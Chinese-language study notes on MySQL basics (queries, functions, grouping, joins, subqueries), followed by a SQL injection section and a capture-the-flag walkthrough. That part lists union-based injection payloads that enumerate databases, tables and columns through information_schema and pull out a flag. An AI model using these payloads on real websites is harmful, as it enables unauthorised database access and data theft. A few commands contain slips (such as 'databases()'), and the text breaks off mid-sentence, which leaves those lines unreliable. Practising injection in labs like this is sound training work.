1. mysql学习
create database bjpowernode; 创建库
use bjpowernode;
source [路径] 导入表格们
show tables 显示表格
desc [table]; 和 show columns from [table]查看表table的结构
select * from [table]; 查表
/c 终止命令
show databases; 查看有哪些数据库
select version(); 查看mysql版本
select database(); 查看用的是哪个数据库
select [字段1],[字段2] from [table]; 查表的某个字段
select sal*12 (as) yearsal from emp; 不会改变
条件查询 where
and 优先级高于 or
判断是否为空 只能用is 不能用null
like 模糊查询: select ename from emp where ename like '_a%' %表示任意数量任意字符,_表示一个任意字符;
排序:select sal from emp order by sal (desc/asc); desc降序 asc升序 默认升序
函数:
lower() 小写 substr(str,a,b) 从a开始截取b个
upper() 大写 trim() 去空格 length() 取长度
round(a,b) 四舍五入a , 小数后b为
rand() 0~1随机数
select ifnull(comm,a) as comm,ename from emp; 如果comm是null 显示a;
多行函数: (忽略空值)
1.sum() 求和
2.avg() 平均
3.count () 获得记录数
4.max() 5.min()
分组函数不能直接放在where中
distinct 去重 无括号, 必须放在最前面
group by 分组
select sal from emp group by job (,deptno ) 可多个变量联合分组
having 过滤 : 在分组完成后进行过滤,考虑效率问题 能用where尽量用where
联结查询:
分为外连接和内连接
内连接完全匹配 外连接包括不匹配的,全拿出来 , 外连接>=内连接
从多个表查询,如果不加限制,就全连一起了。 笛卡尔积
- 内连接中的等值连接:
92标准写法 : select e.ename,d.dname from emp e ,dept d where e.deptno=d.detpno;
98标准写法 : select e.ename,d.dname from emp e join dept d on e.deptno=d.deptno;
2.子查询
以查询 sal大于 sal的平均数查询为例
1. from 后的 子查询
mysql> select a.ename,a.sal from emp a join (select avg(sal) as asal from emp) t on a.sal >t.asal;
+-------+---------+
| ename | sal |
+-------+---------+
| JONES | 2975.00 |
| BLAKE | 2850.00 |
| CLARK | 2450.00 |
| SCOTT | 3000.00 |
| KING | 5000.00 |
| FORD | 3000.00 |
+-------+---------+
6 rows in set (0.00 sec)
2. where后的子查询
mysql> select ename,sal from emp where (select avg(sal) from emp)< sal;
+-------+---------+
| ename | sal |
+-------+---------+
| JONES | 2975.00 |
| BLAKE | 2850.00 |
| CLARK | 2450.00 |
| SCOTT | 3000.00 |
| KING | 5000.00 |
| FORD | 3000.00 |
+-------+---------+
6 rows in set (0.00 sec)
mysql> select b.dname,t.asal,a.grade from (select avg(sal) as asal,deptno as dno from emp group by deptno) t join dept b join salgrade a on t.dno=b.deptno and t.asal between a.losal and a.hisal;
+-------------+-------------+-------+
| dname | asal | grade |
+-------------+-------------+-------+
| SALES | 1566.666667 | 3 |
| ACCOUNTING | 2916.666667 | 4 |
| RESEARCHING | 2175.000000 | 4 |
+-------------+-------------+-------+
- 在select后面使用select
4.union (合并查询结果集)
sql注入:
1.获取字段数:order by x 取临界值
(以下假设x=3)
2.获取数据库名: database() union select databases(),2,3;
(假设获得到数据库名为bjpn)
3.获取数据库版本: version() union select databases(),2,3;
4.获取数据库的表名:
union select table_name,2,3 from information_schema.tables where table_schema='bjpn';
(假设获得表名字emp)
5.获取表中的列名
union select column_name,2,3 from information_schema.columns where table_name='emp';
(假设获得列名sal)
6.获取数值
union select sal,2,3 from emp;
实战
在网页中,输入的数据往往是通过GET或者POST方法得到的,所以为字符串,带有引号,所以在注入的时候需要带上一个 ‘ 使表达式封闭。
同时要注意需要注释掉后面原本的引号
题目1 bugku 学生成绩查询
sql题目显然。
第一步,探索字段数量,查询结果: 四个字段.
1' order by 5 #
第二步:获得数据库名称 :
有一个注意点就是 不能写
1' union select database(),2,3,4; #
这是因为表格限制,只能显示一组数,所以应该把1去掉
' union select database(),2,3,4; #
得到数据库名称为skctf_flag
下一步:用过库名称得到表名
' union select table_name,2,3,4 from information_schema.tables where table_schema='skctf_flag' #
表名为fl4g
再通过表名得到其中字段名
' union select column_name,2,3,4 from information_schema.columns where table_name='fl4g'; #
得到有一个字段叫做skctf_flag
接下来直接查询嗷
' union select skctf_flag,2,3,4 from fl4g ; #
得到